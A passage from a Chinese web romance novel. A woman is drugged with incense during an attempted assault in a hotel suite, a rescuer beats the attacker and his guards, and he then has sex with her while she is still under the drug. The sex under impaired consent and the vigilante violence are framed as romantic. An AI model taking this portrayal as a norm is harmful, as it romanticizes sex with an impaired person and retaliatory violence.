外面站着一个身穿酒店服务生制服的男人,他低垂着头, 看不清容貌, 只自顾自敲着房门,笃笃的敲门声让人心烦意乱。 看起来好像一切正常,没什么危险,那条短信更像是个无厘头的恶作剧。但是, 姜以柔的心跳莫名漏了几拍, 心底涌上一股强烈的预感。 姜以柔紧张地咬了咬唇,瞬间做了决定。 她快步跑到床边,先抓起随手扔在床上的包, 然后迅速钻进洗手间,一把将门反锁。 姜以柔拿出手机, 手指有些颤抖地打字、发消息, 一气呵成。 【救我。】 她发给了谢凛,还跟他共享了现在的位置。 她沉思片刻,为了保险起见, 又给方隐年发了条同样的信息。 用最快的速度发完消息后,姜以柔又开始打电话报警,她刚跟警察说完自己的地址,竟然听到外面的大门被打开的声音。 她的房门竟然就这样被打开了?! 姜以柔心里一紧,赶紧挂了电话,屏息凝神地倾听外面的动静。 同时,她也确定了,那条莫名其妙让她别开门的短信,绝对不是空穴来风。 真的有人想对她不利。 而且,这个人的势力应该不简单,否则不会连她的房卡都能弄到。 姜以柔轻手轻脚地翻了翻包,从里面拿出一个小瓶子——她随身携带的防狼喷雾。 她很清楚自己的容貌有多容易招来觊觎,所以总会随身携带防身的工具。 甚至在她刚穿来这个小说世界,身上几乎一分钱都没有的时候,她做的第一件事就是厚着脸皮朝便宜父母伸手要钱,然后买了这瓶防狼喷雾。 事实证明,她还是很有先见之明的。 姜以柔一手抓着防狼喷雾,小心翼翼凑到卫生间门口,侧耳倾听着外面的动静。 外面的房间里有轻微的脚步声响起。 那脚步声并不急促,反而节奏轻缓,有种一切尽在掌握中的从容。 脚步声先走到了远处,莫名地停了一会儿,不知道他在做些什么。 然后,那人便一步一步朝卫生间走来。 姜以柔的心脏砰砰直跳,握着防狼喷雾的手用力到指节发白。 此时,她的手机屏幕不断亮起,来自谢凛和方隐年的电话几乎是交替着打进来,没有一刻停歇,但她却完全无心关注。 下一秒,卫生间的房门被缓缓敲响,同时,门外响起一个熟悉又令人厌恶的声音。 “姜小姐,你躲什么呢?” 闻言,姜以柔面色骤沉,眉心因厌恶而紧紧蹙起。 赵文泽。竟然是他。 姜以柔心里有种果然如此的感觉。她早就知道赵文泽对她心怀不轨,却没想到对方如此大胆,竟然敢借着宴会对她出手。 姜以柔深吸一口气,她强迫自己冷静下来,沉着脸思索着什么。 赵文泽还在说话,他的语气是刻意伪装出来的温和,却怎么都掩不住那份得意。 “姜小姐,你不用害怕,我只是想跟你说会儿话而已。” “我之前的承诺依旧有效,只要你肯跟着我,无论你想要什么,我都可以给你!房子、车子,甚至我公司的股份……” “以柔,出来吧,我不会伤害你的……” 姜以柔对他半是威胁半是利诱的话充耳不闻,只紧紧盯着门口,等待一个时机。 渐渐的,赵文泽失了耐心,捶打房门的动作也粗暴了一些。 他的嗓音渐渐沉下来,含着浓浓的不悦,说道:“姜以柔,你不要敬酒不吃吃罚酒!” 见卫生间内依旧没什么动静,赵文泽终于不装了。 “砰——” 巨大的撞门声传来,卫生间的门都颤了颤,连带着姜以柔的心脏也紧缩了一下。 对于赵文泽这种壮年男人来说,卫生间的门确实有些脆弱。在他发狠地撞了好几下之后,门锁断裂,房门轰的被撞开,狠狠弹到了墙壁上。 赵文泽高大的身躯就堵在门口,压迫感十足。他面色阴鸷,还带着近乎狂热的愉悦。 马上就能得到姜以柔的念头如海啸般席卷了他的理智,让他兴奋得面孔都有些扭曲。 然而,打开卫生间的门之后,他第一眼看到的并不是那张心心念念的绝美面孔,而是一个举到他面前的小瓶子…… 姜以柔屏息凝神,抓准了一个时机,冲着赵文泽的眼睛狂喷防狼喷雾。 下一秒,屋内响起赵文泽痛苦的嚎叫声。 他双手捂住眼睛,像只虾一般弓起了身子,脸上被刺激得红了一片,表情痛苦得近乎狰狞。 姜以柔犹觉得不够,冰冷的目光扫过他的全身,然后—— 她用尽全身力气,在他裆部狠狠踢了一脚。 “啊——”赵文泽这下连站都站不住了,他侧躺在冰冷的地板上,又要捂住裆部又要捂住眼睛,简直狼狈不堪。 趁着他失去行动能力的时候,姜以柔赶紧绕过他,跑出了卫生间。 她直奔大门而去,想要离开这个危险的地方。然而,当她握住门把手的时候却傻眼了。 大门竟然被从外面反锁了,她根本出不去。 姜以柔拧着眉头,用力拽着门把,试图将门打开,可不管怎么努力都是无用功。 这时,卫生间里传来赵文泽嘶哑地笑声:“我的人就守在门口,哪怕你开了门,也跑不了。” “姜以柔,你逃不掉的……”赵文泽语气阴沉,透着股狠戾的疯狂,宛如地狱里爬出来的恶鬼。 姜以柔心头一跳,不过她很快就镇定下来。 她警惕地盯着卫生间里的赵文泽,时刻注意他的动向,嘴上则不屑地说道:“跑不了又如何?反正很快就会有人来救我。” 谢凛、方隐年、警察……不管是谁,只要任何一个人赶来,就能救她出去。 现在她需要做的,就是等待,同时保护好自己。 姜以柔很谨慎地观察着赵文泽的状态,见他依旧蜷缩在地上,似乎完全没了行动力,便一瞬间放心不少。 然而,赵文泽却诡异地哈哈大笑起来:“姜以柔,你下手可真够狠的,不过……一会儿有你求我的时候!” 闻言,姜以柔皱了皱眉头,心底升起一股不妙的预感。 她总觉得赵文泽似乎话里有话,难道……他还有后手? 不等她细想,她身体里莫名涌起一股异样的燥热感。 姜以柔脸色一变,慌得连忙扶住门框,却仍感觉双腿止不住地发软。 她深呼吸几次,强迫自己镇定下来,这才发现,屋子里多了股特殊的香气。 姜以柔扫视一圈,突然发现床头边的柜子上,多了个熏香。肉眼可见的烟雾从那里散开,在整间屋子里蔓延。 这时,赵文泽嘶哑地笑了两声,说道:“你终于发现了?” “那可是黑市里最新的好货,吸两口就能让人理智全无。” “姜以柔,我说过,你逃不掉了。”赵文泽艰难地撑住地板,试图站起身来,“我会让你哭着求我的。” 姜以柔软着身体靠在门板上,感受着体内异常的躁动,终于心慌了。 她用力咬住下唇,试图让自己保持清醒,然后踉踉跄跄地朝那根香薰走去,粗暴地弄灭了它。 然后她又想开窗通风,但赵文泽居然连窗户都提前锁住了,简直堵死了她所有后路。 这时,姜以柔甚至有点神智模糊了,她心底悚然一惊。 万一……万一她撑不到别人来救她,真的失去理智了去找赵文泽怎么办? 不行,绝对不行! 姜以柔咬了咬牙,竟然憋着一口气直接冲进卫生间。她恨恨地瞪着躺在地上像狗一样的赵文泽,抬起脚再次朝他的裆部踹去。 她要废了赵文泽,让他不可能再对她做什么! 然而,她手脚发软,踢人的力度也比之前小了许多,踩在赵文泽的身上都没什么杀伤力。 赵文泽闭着眼睛,凭感觉握住姜以柔的脚踝,然后猛地一拽—— 姜以柔本就身体发软,这一下直接被他拽倒了,躺在地上喘着气,眼神都有些迷离。 赵文泽紧紧握着那截纤细滑腻的脚踝,欲念丛生,甚至压过了身体上的不适感,让他激动得微微颤抖。 他只恨自己看不见姜以柔被药物摧毁理智后的美景。 但他可以想象那有多诱人。 赵文泽用力摩挲着她的脚踝,强撑着直起身体,继续靠近,迷恋地喃喃道:“以柔……” 姜以柔试图站起来远离他,但这药力来势汹汹,她一时间根本挣不开他的钳制。 “滚,你给我滚……”姜以柔恨恨地骂道,嗓音轻喘间更显得柔媚。 赵文泽听到她的声音后,猛地涨红了脸,随即更努力地往她那里爬去。 就在姜以柔几乎绝望的时候,大门被猛地撞了一下。 巨大的声响吓了她一跳,却也让她瞬间松了口气。 终于有人来了。 第59章 屋内, 空气越发焦灼,几乎让人喘不过气来。熏香的余韵仍在扩散,一点点蚕食着人的理智。 和闹得天翻地覆的屋里相比, 房门外的走廊上倒是安静得吓人。 房间外站着足有四名保镖,个个人高马大,身材结实雄壮, 浑身凶悍气。 当屋里隐约传来赵文泽的哀嚎声时, 四人面面相觑,都从彼此眼中看到了迟疑之色。 “老大, 要进去吗?”一名保镖犹豫地问道。 被唤作老大的男人神情不动,冷淡地说道:“不用。” 赵文泽进屋前亲口吩咐过他们,不管里面传来任何声音, 都不许进去打扰。同时也要严格把守外面, 绝不能让别人进去。 他们要做的就是在这里守着,其他一律不需要关心。 短暂的沉默后,有名保镖突然问道:“你们说,这次赵总看上的是哪个女人?” “谁知道。”有人漫不经心道, “他这次还怪神秘的, 愣是连我们都防着,都不让我们看那女人一眼,估计里面的人不简单吧?” “不简单的女人, 赵总也敢动心思?就不怕……” “噤声!”那位老大面色一沉,厉声呵斥道。 他们受雇于人, 要做的只是听命行事, 妄议雇主是大忌。 于是四人便沉默下来,走廊里再度恢复了安静。 这次的工作过于轻松,几个人肃着脸站在门外, 一副警惕至极的模样,但心思却不由得飘远了。 比如里面的女人到底有多美,值得赵总这样冒着风险大费周章呢? 比如赵总他进行到哪一步了? 比如…… 突然间,为首的那名老大面色一变,沉声喝道:“小心!” 所有人瞬间回神,眼神犀利而警惕,连呼吸都放轻了几分。 他们谨慎地观察着四周,很快就明白了老大为何让他们小心。 这群保镖先是听到了一阵脚步声。 沉重而急促的脚步声,从走廊尽头出现,然后迅速逼近。 不知为何,这群保镖明明还未看到来人,仅仅是一道脚步声,就让他们心中一紧。 四名保镖严阵以待,紧紧盯着脚步声传来的方向。 终于,那个人出现了。 远远的就能看到他身量极高,穿着一身西装,可这身西装在他身上却丝毫不显得斯文儒雅,反而被那结实偾起的肌肉撑得鼓鼓囊囊,活像个西装暴徒。 竟然是许久未曾露面的谢凛。 他难得没穿那身简单的工装背心,倒是穿了剪裁得体的西装。但这般体面的衣服,却掩不住他身上那股凶悍的戾气。 当谢凛走近,看到这间房门口的四个保镖时,他脚步微微一顿。 保镖们也就此看清了他的长相。 棱角分明的一张脸,英俊得都可以当明星了,只是他的面色极其阴鸷,压着眉眼望过来时,浑身逸散着股冷厉而强势的气场。 一瞬间,这群保镖的眼神就变了。 他们在国外当过几年的雇佣兵,都是刀山火海里趟过的狠角色,却在这个男人的注视下寒毛直竖,油然而生一股强烈的危机感。 “这位兄弟……”保镖里的老大深吸一口气,试图跟他交流。 非必要的话,他不想跟这个人产生任何冲突。 然而,谢凛完全没有跟他交流的想法,迈步径直朝他们奔来。 他粗暴地扯下西装外套,随手扔到地上,又用力拽下领带,连衬衫的扣子都崩坏了两颗,领口敞开,隐隐露出那结实宽厚的胸膛。 他脱掉了身上的束缚,熟练地做好了战斗前的准备。 谢凛微微眯起狭长的眼睛,死死盯着门口那群保镖,像是锁定了猎物的凶兽。 他寒着脸迅速逼近,别无二话,直接一拳挥出—— 保镖们心中一惊,立刻看出谢凛绝对不简单,连忙抬手格挡,对这个男人的警惕又加重了几分。 电光火石间,谢凛一个人已经跟四名保镖缠斗起来。 他穿着黑色衬衫和西裤,有些束缚的着装丝毫不影响他挥拳的狠戾,拳头裹挟着戾气袭来,破开空气时发出令人牙酸的声响,直冲人面中最脆弱的部分。 保镖中的老大及时抬臂,硬生生用小臂挡住了这一拳,下一秒却脸色发白,身形不稳地退了好几步。 他硬生生止住退势,望向谢凛的眼神忌惮到了极点。 “都小心点。”他低声提醒旁边的兄弟。 谢凛一拳将人击退后,根本懒得再给他一个眼神。他面容沉冷,直勾勾盯着那扇紧闭的房门,狭长幽深的眸中迸发出浓烈的煞气,还藏着极深的担忧。 他抬腿一脚踹在门板上,砰的发出惊天巨响,厚重的实木门都颤了几颤,惊得人心里一跳。 谢凛后退两步,沉着脸正要继续踹门,那几名保镖却不能眼睁睁看着他破门而入,毕竟守门就是他们的职责所在。 “上!”保镖队长冲其他人示意一下,几人一起冲上前来,共同钳制谢凛。 谢凛胸膛起伏,眸中泛着暴怒的猩红,整个人都像是一只发狂边缘的野兽。他死死盯着这群不长眼的保镖,咬着牙道:“滚!” 他一想到姜以柔发来的那条求救短信,就惊惧得心肺俱颤。 循着她给的定位找来这里后,谢凛只想赶紧见到她,确认她的安全。 哪怕是拖延一秒钟,姜以柔都有可能受到伤害,他不敢想那个结果。 他会杀了所有人。 所有。 当那群保镖冲上来时,谢凛没有丝毫留手。 他完全是搏命的打法,拼着自己受伤,也要将对手打得再无还击之力。 拳拳到肉的暴力,汗水与血液混在空气中的湿黏,拳头击打身体时沉闷的重响以及痛苦的呻吟…… 这里完全是地狱般的血腥场景。 幸好赵文泽在对姜以柔出手之前,特意清了这一层的人,还关了监控,所以这么大的动静也没有惊动任何人。 过了一会儿,几个保镖全都躺在地上,一动不动像是死狗一般。 谢凛喘着粗气立在当场,他浑身紧绷,肌肉偾起,胸膛随着呼吸剧烈起伏,凶残得像是一只人形凶兽。 有鲜血顺着他的额头流下,划过他冷硬的侧脸,一滴一滴直往地板上砸。 他面无表情地擦了擦血,眉眼间全是阴鸷的戾气,给人一种渊渟岳峙的压迫感。 冷漠残忍,宛如修罗。 他不再管地上横七竖八的保镖,血红的双眼死死盯向紧闭的房门。 他后撤两步,沉气、蓄力,然后修长有力的腿猛地挥出,厚重的门板竟然被他直接踹飞了出去,砸在地上发出巨大的声响。 下一秒谢凛便冲进屋内,他紧咬着牙关,脸色可怕至极,可眼瞳深处却藏着不易察觉的紧张。 他不敢想象最坏的情况,只一想就有种肝胆俱裂的痛。 谢凛迅速在屋内扫视一圈,很快就在洗手间门口找到了万般牵挂的人影,他的目光始一盯住那道身影,瞳仁便不自觉颤了颤。 洗手间门口,姜以柔无力地侧身伏在地上,尽显窈窕的曲线。她眼神略显迷离,红唇张合,急促地喘息着,像一条搁浅的美人鱼,艳色灼人。 谢凛看着这一幕,却只觉得心痛难言。 他咬着牙疾步上前,第一眼便注意到了姜以柔身后跪伏着的男人。 赵文泽依旧蜷着身子,看来下面遭受的重击还没缓过劲儿来,他的眼睛被防狼喷雾搞得通红一片,根本睁不开。 他一只手死死抓着姜以柔的脚踝,竟然在试图往她身上爬。他听见有人闯了进来,可他看不见来人是谁,只能故作镇定地威胁道:“你是谁?我警告你赶紧滚出去,否则……” 他的话戛然而止,化为一道比先前更凄厉千百倍的惨叫,简直不像是人能发出来的。 谢凛抬起脚,直接踩上了他抓着姜以柔的那只手,他猛地施力,皮鞋用力碾动,残忍地将他那只手踩到断裂、变形。 谢凛面无表情地听着那痛苦的哀嚎声,冷厉幽深眼眸中全是疯狂的恨意,不见丝毫动容。 他居高临下地睨着赵文泽,冷漠得像是在看一具死尸。 任凭赵文泽在他脚下嘶吼求饶,谢凛都纹丝不动,此时的他全然一副视人命如草芥的做派,危险得让人胆寒。 下一秒,谢凛猛地抬腿踢上赵文泽的腹部,竟然硬生生将他踢飞出去好远,直到撞上卫生间的墙壁的才停下。 这下,赵文泽瘫在地上,彻底失去了意识。 谢凛干脆利落地解决了赵文泽,然后他迅速蹲下身体,小心翼翼地把姜以柔抱了起来。 谢凛紧张地打量着姜以柔,抱着她的手几乎在颤抖,他用力箍紧怀里柔软的身体,确认她安全无恙,才稍稍松了口气。 姜以柔被那迷香撩得浑身发软,仿佛有把火在身体里燃烧。她有些躁动,但基本上还能保持理智。 从方才起便一直提着的心,在被谢凛熟悉的怀抱包裹时,彻底松懈了下来。 姜以柔睁着一双蒙着水光的眸子,静静地看着谢凛,竟然还笑了一下,她轻喘两声,声音微弱地说道:“你……你怎么穿西装了?” 还真有些不习惯。 谢凛抿着唇不答话,只红着眼睛看她。 谢凛额头上流下的血几乎糊了他半张脸,到现在还直往下流。 滴答,滴答,鲜红的血甚至滴在了姜以柔的脸上,让那张漫着绯红欲丨色的脸更显得妖艳。 谢凛呼吸一滞,他小心翼翼地抬起手,轻轻擦去她脸上的血迹。 他手掌宽大,指节上全是血迹,那么有力坚硬的拳头,落在姜以柔的脸上时却那么轻柔,仿佛不愿自己的血弄脏她。 姜以柔怔怔地看着谢凛,这一刻,她心里后知后觉地涌上一股莫名的委屈。 她咬唇瞪了谢凛一眼,毫无预兆地发脾气,骂道:“你怎么才来?!” 谢凛喉结微滚,终于跟她说了第一句话,嗓音沙哑至极,“……对不起。” 谢凛深吸一口气,一手揽住她的背,另一只手穿过她的膝弯,抱起她便要离开,“我送你去医院。” “不去医院。”姜以柔却蹬了蹬腿,挣扎着反抗。 她一把揪住谢凛的衣领,勉强撑起身体,在他下颌上亲了一下,媚眼如丝地说道:“我要你。” 第60章 【提示】本章请关注段评 姜以柔多少被那熏香迷了心智, 否则以她的性格,绝不会如此直白地表达自己的渴求。 姜以柔轻轻喘息着,唇瓣娇嫩而艳丽, 微微张合时,饱满的唇珠显得格外诱人。 那双潋滟的水眸半眯着,盈着一层朦胧的雾气, 像是无形的丝, 勾得人心魂皆荡。 她的媚态,比任何药物都更加惑乱人心。 谢凛呼吸一滞, 整个人都僵硬了,像只绷到极限的弓。他隐忍地滚动了下喉结,幽黑的眸中瞬间燃起暗色的□□。 那双柔弱无骨的藕臂缠上他的脖颈, 姜以柔有些迷乱地亲着他的下颌, 滚烫的唇瓣如烙印一般,直接烫进谢凛的心口。 这样投怀送抱的姿态,恐怕没有任何一个男人能拒绝。 然而,谢凛就能。 他硬生生别开眼, 避开那双热情的红唇, 他的胸膛剧烈起伏着,像一座即将爆发的活火山,将所有汹涌的岩浆都死死压在平静的表面下。 谢凛深吸一口气, 尽量平静地说道:“你现在不清醒,我送你去医院。” 他的嗓音嘶哑至极, 将他的情动暴露无遗。 谢凛今天穿的是西装, 此时裤子的已然撑起了一个非常显眼的骇人弧度,但他仿佛感受不到一般,抱着姜以柔起身, 转身便往门外走去。 竟然真的要把她送到医院。 姜以柔亲他下颌的动作一滞,迷乱的神智都清醒了几分。 她紧紧盯着谢凛英挺冷硬的脸庞,眼看着他真要抱自己去医院,一时间气得血涌上头,直接抬手抽了他一巴掌。 姜以柔被那熏香折腾得浑身无力,那一巴掌也轻飘飘的,对谢凛来说跟小猫挠得也没两样,但还是成功让谢凛顿住了脚步。 谢凛身形微僵,唇线紧绷,垂着眸没有看她。 姜以柔又气又委屈,眼圈都红了,梨花带雨的好不可怜。 她咬着下唇,眨着一双潋滟的眸子,恨恨地瞪着谢凛,娇声骂道:“谢凛,你……你到底还是不是男人?!” 她怒意灼灼的时候,更显艳色,像是盛放的牡丹诱人攀折。谢凛忍不住瞥了她一眼,又迅速垂下眼眸。 姜以柔气得头脑发昏,胡乱捶打着谢凛,一边打还一边骂道:“你这个没种的混蛋,你直接滚吧,用不着你在这里假好心……” 谢凛喉结微滚,隐忍地重复道:“我送你去医院。” 姜以柔怒瞪着他,“我不去医院!” 姜以柔重重地喘了几声,胸前荡出诱人的弧度,她突然冷笑一声,说道:“既然这样,你帮我联系别的男人吧。” 闻言,谢凛猛地抬眼望向她,幽深的眸底开始积聚骇人的暗色。 姜以柔一双媚眼斜睨着他,近乎挑衅般说道:“把我的手机拿过来,我要打给方隐年。” “或者我今晚认识的那个大明星也可以,他长得可帅了。” “就连方镜麒那个小屁孩也比你强!” 姜以柔捏紧拳头用力捶了他一下,咬着牙轻声道:“谢凛,你这个不中用的混蛋,给我滚!” 谢凛默默地垂眸盯着她,神情意外的平静,但抱住姜以柔的手却不断收紧,像是恨不得把她勒进怀中。 在姜以柔继续扑腾着挣扎时,谢凛终于动了。 他不再往房间外走去,而是转身进了另一个房间。 这间总统套房很大,里面有三个小房间,谢凛随便进了一个,并反手关上了房门。 姜以柔似乎意识到了什么,终于不再挣扎,只轻咬着下唇盯着他,潋滟的眸中有一些害怕,还有一丝不易察觉的期待。 谢凛将她放在大床上,高大火热的身躯随即压了上去。 他居高临下地看着姜以柔的脸,腮侧微微鼓起,大概是在狠狠地咬着牙。 他狭长幽深的眸子里□□与怒火交织,熊熊烧灼,几乎将他的理智焚烧殆尽。 谢凛死死盯着她,一字一句哑声道:“你现在不清醒,我只是不想你后悔……” 姜以柔微微一怔,胸口的怨气也散了些许。 她认真地打量着谢凛,他额上的伤口很是显眼,嘴角处也有些青紫,这都是为了救她才受的伤。 姜以柔咬了咬唇,一颗心有些酸软。她忍不住抬起手,想去触摸谢凛的脸颊。 然而下一秒,她却蓦地被握住了手腕。 谢凛掐着她的手腕,缓慢但强硬地将她的手按回床上。 姜以柔怔怔地看着他,像是一只被凶兽按在爪下的兔子,再无挣扎之力,只能任他予取予求。 谢凛紧紧地盯着她,眸色暗沉,幽幽地说道:“现在……你没有后悔的机会了。” 他染血的掌抚上她纤细而不失肉感的腿,缓缓上移,一点一点撩开她的裙摆。 粗糙的掌心蹭过她柔软滑腻的皮肤,带起阵阵战栗。 姜以柔的脸颊染上欲的酡红,微微颤抖间,喉间溢出小猫一样的娇哼,那声音像是带着钩子,一下又一下撩拨着谢凛脆弱的理智。 姜以柔眯着眼睛,下意识地并拢双腿,然而谢凛膝盖一顶,便强势地将其分开了。 姜以柔倒是从善如流,藤蔓一般顺势缠上他的腰,像是攀附着他的菟丝花。 谢凛的身体骤然绷紧,忍得额角青筋暴起,汗水混合着鲜血缓缓流下,他却完全感觉不到痛意一般。 谢凛猛地欺身而上,火热的唇覆上,发狠般索取纠缠着,几乎要将她吞进肚子里。 姜以柔揽住他的脖颈,细碎的呜咽声全被堵在喉咙中。 谢凛辗转掠夺着她的唇,湿热的吻随即下落到她的下颌,脖颈。最后,谢凛喉结滚动,缓缓埋首。 姜以柔怔怔望着天花板,双唇微张,泛着水光的唇瓣略显红肿,每一次呼吸都带着微颤的甜腻。 谢凛灼烫的唇不停地流连,似乎恨不得将她吞下去,不断下移。 姜以柔身子一颤,立刻呜咽着尖叫出声,她下意识地想蜷起身体,却被他强硬地禁锢在方寸之间。 一浪高过一浪的快意中,姜以柔泪水横流,那双美丽的眸子都没有焦距了。 过了不知道多久,她剧烈颤抖起来,无法自抑地哭叫着,最后浑身瘫软地倒在床上,怔怔失神。 良久,谢凛重新撑起身体,直视她的眼睛。 他抬手擦了擦下颌的水迹,狭长的黑眸分外露骨,让姜以柔羞得不敢看他。 “药性解了没有?”谢凛哑声问道。 姜以柔迟缓地眨了眨眼睛,有点懵地问道:“怎么了?” 谢凛缓缓压下身体,是无声的示威。他顿了片刻,问道:“还要不要?” 谢凛看似强势,但对姜以柔总是心软的。 他嘴上说着姜以柔已经没有反悔的机会,最后关头却还是给了她拒绝的可能。 姜以柔小口喘息着,媚眼如波,横了谢凛一眼。 她轻哼一声,故意道:“不要了,你滚吧。” 姜以柔暗自磨牙,如果谢凛敢真的滚了,她一定要他好看…… 姜以柔思绪飘散间,整个人突然顿住了。 她身体瞬间紧绷,眼泪止不住地滑落,“痛……痛!” 她用力捶着谢凛的肩膀。 谢凛身上肌肉虬结,整个人紧绷得像一张拉满的弓,销魂蚀骨的畅意顺着脊柱蔓延,几乎像是带了电流,将他所有理智都摧毁。 他不容抗拒地俯身,死死盯着姜以柔的脸,眼眸猩红。 他伸手抹去姜以柔眼角的泪珠,竟然突兀地笑了一下,“是你自己说要的。” 谢凛向来爱冷着一张脸,突然笑起来时,非但不显得和煦,反而更有种风雨欲来的压迫感。 他俯身压住姜以柔,粗喘着说道:“姜以柔,你赢了。” “我这辈子都不可能逃出你的手掌心了。”谢凛深深地看着她,幽黑的眸中有偏执也有痛苦。 他从来都不想保持一段不明不白的□□关系。 但事实证明,他的底线在姜以柔面前,什么都不算。 她轻轻拽一拽绳子,他还是会跟狗一样凑上来。 谢凛轻轻抚着那张美丽动人的脸庞,黑眸中翻涌着疯狂的暗色。 事已至此……他再也不会放手了。 姜以柔的记忆渐渐模糊了,她双眼失焦地望着雪白的天花板,视线中还有谢凛不断晃动的身影。 不知过了多久,她完全失去了意识。 第二天,姜以柔是被一阵敲门声吵醒的。 她缓缓睁开眼睛,发现自己正趴在谢凛的胸膛上。 那炙热宽厚的胸膛正随着谢凛的呼吸,缓缓起伏着,简直像是摇篮一样,怪不得她睡得这么熟。 身上很清爽,应该是谢凛帮她清理的,但身体还是像被碾过一样浑身酸痛,连根手指都不想动。 谢凛也醒了,他轻轻翻身,将姜以柔放在床上,自己则翻身下床,“我去开门。” 姜以柔拢了拢被子,光祼的肩头和脖颈上全是暧昧的红痕,她有些紧张地说道:“该不会又是赵文泽吧?” 清醒后,她又回想起昨天的惊险一幕,心脏还是忍不住突突狂跳。 谢凛动作一顿,回头看了她一眼,淡声道:“不会是他。” “他不可能还站得起来。” 话音笃定而冷漠,像个无情的机器。 谢凛的黑色衬衫被他粗暴地扯坏了,也被她弄湿了,根本没法再穿。他干脆只穿了条西装裤,祼着精壮的上身前去开门。 拉开房门看到来人后,谢凛眼神微凝。 门外的人身形修长,西装革履,发丝却有些凌乱,凤眸中拉着憔悴的红血丝,正是方隐年。 谢凛冷冷地挑了挑唇,淡声问道:“有事?” 方隐年的目光在谢凛赤祼的上身一扫而过,在看到他身上的抓痕咬痕时,眼瞳微颤。 然后,他的目光越过谢凛,望向屋里拥着被子的姜以柔。《 》 60-70 第61章 当方隐年接到姜以柔的求救短信时, 他正身处一千多公里外的B市。 深夜,方氏分部大楼依旧灯火通明。 方隐年正为了一个大项目连夜召集高层会议,看到信息后, 他猛地站起身来,沉重的椅子都被带倒,发出沉闷的声响。 那张总是平静淡然的脸庞, 此时却阴沉得吓人, 携着风雨欲来的压迫感。 狭长的凤眸中溢着令人胆寒的厉色。 方氏的高层们也是第一次见到方隐年如此失态的模样,不由得面面相觑, 大气不敢出。 方隐年并没有对他们解释什么,只转身快步离开了会议室,连外套都忘了拿。 他对匆匆跟上的苏正厉声吩咐道:“我要回S市, 立刻。” 苏正微微一怔, 大概是从老板不同寻常的态度中察觉到了什么,他什么都没问,只立刻应了声“好”。 紧接着,方隐年又拨通了好几个电话, 派人去查姜以柔的动向。 可惜的是, 赵文泽完全是有备而来,而他也足够谨慎阴狠,将所有痕迹都清扫得很干净。方隐年远在千里之外, 本就陷入了被动,所以哪怕他连警方高层都惊动了, 短时间内也没能查到眉目。 若不是姜以柔急中生智给谢凛开了位置共享, 恐怕谢凛也无法那么及时地赶到。 方隐年等不及飞机航班,短时间内也申请不下来私人飞机的航线,他一晚上辗转换了好几种交通工具, 用最快的速度赶回了S市。 路上,苏正迟疑地瞟着方隐年,一副欲言又止的模样。 方总离开得太突然了,现在分公司那边一团乱,很多事情都等着方总决定呢。 苏正不由得转头看向方隐年—— 方隐年静静地靠在椅背上,狭长的凤目微阖,纤长的睫毛在眼下落了一片阴影。他的表情还算平静,可右手却死死攥着扶手,宽大的掌上青筋暴起,似乎压抑着无尽的骇浪。 苏正肩膀一抖,识趣地闭紧了嘴巴。 经过多方力量一整晚的努力,方隐年终于来到了那家酒店。 当方隐年踏进那间酒店的时候,他整个身体都是冷的。 因为此时此刻,距离姜以柔发来那条求救信息,已经过去一整晚了。 他双拳紧握,后悔自己为什么偏偏这时候去出差,更痛恨自己不能及时赶到她身边。 如果她真的出了什么事情…… 方隐年的凤眸中一片冰凉的寒意,垂在身侧的手竟然在微微颤抖。 来到那间总统套房时,方隐年一眼就看到了门口横七竖八的几个保镖。 方隐年微微一怔,些许理智回笼,紧绷的心脏倒是缓了些许。 根据眼前的情况合理推测,应当是有人赶来救下了姜以柔,那么情况应该不会太糟糕。 进屋之后,他一眼就看到了地上生死不知的赵文泽。 想起自己查到的东西,方隐年睨向赵文泽的眼神中透着股摄人的寒意。 方隐年艰难压下心底汹涌的杀意,尽量冷静地喊来苏正,让他把这几个人送去了医院。 不管怎样,他们绝不能死在这里。 当然,他不会给姜以柔留下任何隐患。 他会给这群畜生一个毕生难忘的教训。 方隐年眼眸微垂,掩住了其中冷冽的暗芒。 方隐年本以为姜以柔已经被人救走,正想要离开这里继续寻找她的下落,但不知为何,他的眼神突然落到了套房里某间紧闭的房门上。 房间里很安静,仿佛没有人,但方隐年盯着那扇房门,心脏莫名紧缩了一下。 他鬼使神差地走到那扇门前,轻轻握住门把手,用力一推—— 并没有推开。 这一刻,方隐年仿佛预感到了什么,握着门把的手猛地用力,手背上青筋暴起。 那双狭长的凤眸骤然沉了下来,里面有骇人的风暴在酝酿。 方隐年缓缓闭了闭眼睛,再睁开眼时,双眸一片平静,但只有他自己知道,汹涌的情绪被他死死压制在冷静的表面下,犹如山脉下流淌的岩浆。 随时会爆发。 方隐年抬手敲了敲门,笃笃的敲门声在安静的房间里格外清晰。 等待开门的时间里,方隐年面上是一如既往的冷静,他的左手本能般握紧,没有抓到那串熟悉的菩提,指尖便深深地掐入掌心,留下近乎自虐般的印痕。 直到房门被打开的那一瞬间,他终于等来了宣判。 开门的是那个叫谢凛的男人,曾陪着姜以柔一起去医院,探望方镜麒。 此时的谢凛赤祼着上身,英俊的脸庞一如既往的冷淡,但眼角眉梢都带着股慵懒的餍足。 还有他精壮的上身那纵横的抓挠和咬痕,无一不昭示着昨晚发生了何等激烈的“战斗”。 方隐年的眸光越过谢凛,看向屋内,当看清大床上拥着被子的姜以柔时,瞳仁剧颤。 姜以柔坐在床上,抓着被子盖住胸前,露出了肩头大片的雪白,凝脂般的皮肤上是密集的深红色吻痕,简直有种恨不得将她吞下去的疯狂。 她双颊晕红,潋滟的眸中盈着水光,微肿的红唇更显艳丽,简直媚态横生,能勾得人魂儿都没了。 一眼就知道她昨晚经历过什么。 方隐年将她诱人的姿态尽收眼底,神情是罕见的空白。 他怔怔地望着姜以柔,久久未语,似乎在消化眼前的这一幕。 谢凛见他一直盯着姜以柔出神,眸光骤冷。 他挪动步伐挡在方隐年的面前,淡声问道:“眼睛不想要了?” 他语气沉冷,威胁之意甚浓。 方隐年被他挡住了视线,怔然的凤眸瞬间凝神,幽深的眸光便落在谢凛身上。 他看着眼前这张脸,垂在身侧的手死死捏成拳,凛冽的凤眸是几乎溢出来的冷厉杀意。 此时的方隐年锋芒毕露,实在不像一个多年信佛的人。 方隐年猛地按住谢凛的脖颈,毫不犹豫地挥拳朝他面门而去。 谢凛的战斗意识极强,千钧一发之际偏头躲过,并抬手挡住了他的拳头。 方隐年的凤眸中拉满了血丝,脸色冷得如同数九寒冰,他咬着牙一字一句道:“你竟敢……” 向来端方矜持的方隐年,恐怕生平第一次如此失态。 谢凛冷笑一声,唇角的弧度蕴着丝嘲讽。他毫不犹豫地举起拳头,无情地砸向这张怎么看怎么碍眼的脸。 